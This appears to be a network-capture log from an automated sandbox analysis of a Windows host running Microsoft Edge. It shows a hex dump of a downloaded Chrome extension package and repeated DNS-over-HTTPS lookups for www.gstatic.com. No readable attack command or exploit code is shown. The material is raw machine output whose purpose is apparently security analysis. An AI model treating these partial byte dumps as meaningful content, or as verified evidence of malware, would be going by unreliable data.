2024-11-27 16:58:47 UTC	564	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC4ZjqXlR9c2WaJAkMQ9T29mKgZyUWAl30zlMeVWfVqvo7yS4sz72IU_VKJYbTtI74Oc9rQ X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Wed, 27 Nov 2024 16:45:00 GMT Expires: Thu, 27 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 826 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-27 16:58:47 UTC	826	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-27 16:58:47 UTC	1390	IN	Data Raw: 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c 7c a7 3d 83 9c c3 33 e7 6a Data Ascii: _5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\\|=3j
2024-11-27 16:58:47 UTC	1390	IN	Data Raw: eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc 55 5e 3d b8 46 34 c8 24 66 Data Ascii: E8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FSU^=F4$f
2024-11-27 16:58:47 UTC	1390	IN	Data Raw: cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 ce c6 ac 26 ca 94 9e fc 2c Data Ascii: oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~&,
2024-11-27 16:58:47 UTC	1390	IN	Data Raw: 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 af 7f ff d5 d4 85 ac bf 7e Data Ascii: c$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_~
2024-11-27 16:58:47 UTC	1390	IN	Data Raw: a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 e2 00 5a c4 bf e3 99 9d 19 Data Ascii: ,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8QZ
2024-11-27 16:58:47 UTC	1390	IN	Data Raw: 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 b4 28 e5 ea ff 64 31 58 52 Data Ascii: =,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@(d1XR
2024-11-27 16:58:47 UTC	1390	IN	Data Raw: 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 16 96 fa 98 fd 47 dc 1f 20 Data Ascii: cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6G
2024-11-27 16:58:47 UTC	1390	IN	Data Raw: 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f Data Ascii: 0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/messages.jso
2024-11-27 16:58:47 UTC	1390	IN	Data Raw: 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 Data Ascii: 'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.7	49833	172.64.41.3	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:47 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-27 16:58:47 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-27 16:58:48 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 27 Nov 2024 16:58:48 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e93aa43acaa72a1-EWR alt-svc: h3=":443"; ma=86400
2024-11-27 16:58:48 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1e 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.7	49832	172.64.41.3	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:48 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-27 16:58:48 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-27 16:58:48 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 27 Nov 2024 16:58:48 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e93aa43f99641e1-EWR alt-svc: h3=":443"; ma=86400
2024-11-27 16:58:48 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 2b 00 04 8e fb 29 03 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom+))

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.7	49840	172.64.41.3	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:48 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-27 16:58:48 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-27 16:58:48 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 27 Nov 2024 16:58:48 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e93aa43fb237cff-EWR alt-svc: h3=":443"; ma=86400
2024-11-27 16:58:48 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 23 00 04 8e fa 50 03 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom#P)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.7	49837	162.159.61.3	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:48 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-27 16:58:48 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-27 16:58:48 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 27 Nov 2024 16:58:48 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e93aa4408470dc7-EWR alt-svc: h3=":443"; ma=86400
2024-11-27 16:58:48 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 21 00 04 8e fa 41 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom!A)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.7	49836	162.159.61.3	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:48 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-27 16:58:48 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-27 16:58:48 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 27 Nov 2024 16:58:48 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e93aa440a048ce8-EWR alt-svc: h3=":443"; ma=86400
2024-11-27 16:58:48 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 e7 00 04 8e fa 40 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom@C)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.7	49839	172.64.41.3	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:48 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-27 16:58:48 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-27 16:58:48 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 27 Nov 2024 16:58:48 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e93aa444888433a-EWR alt-svc: h3=":443"; ma=86400
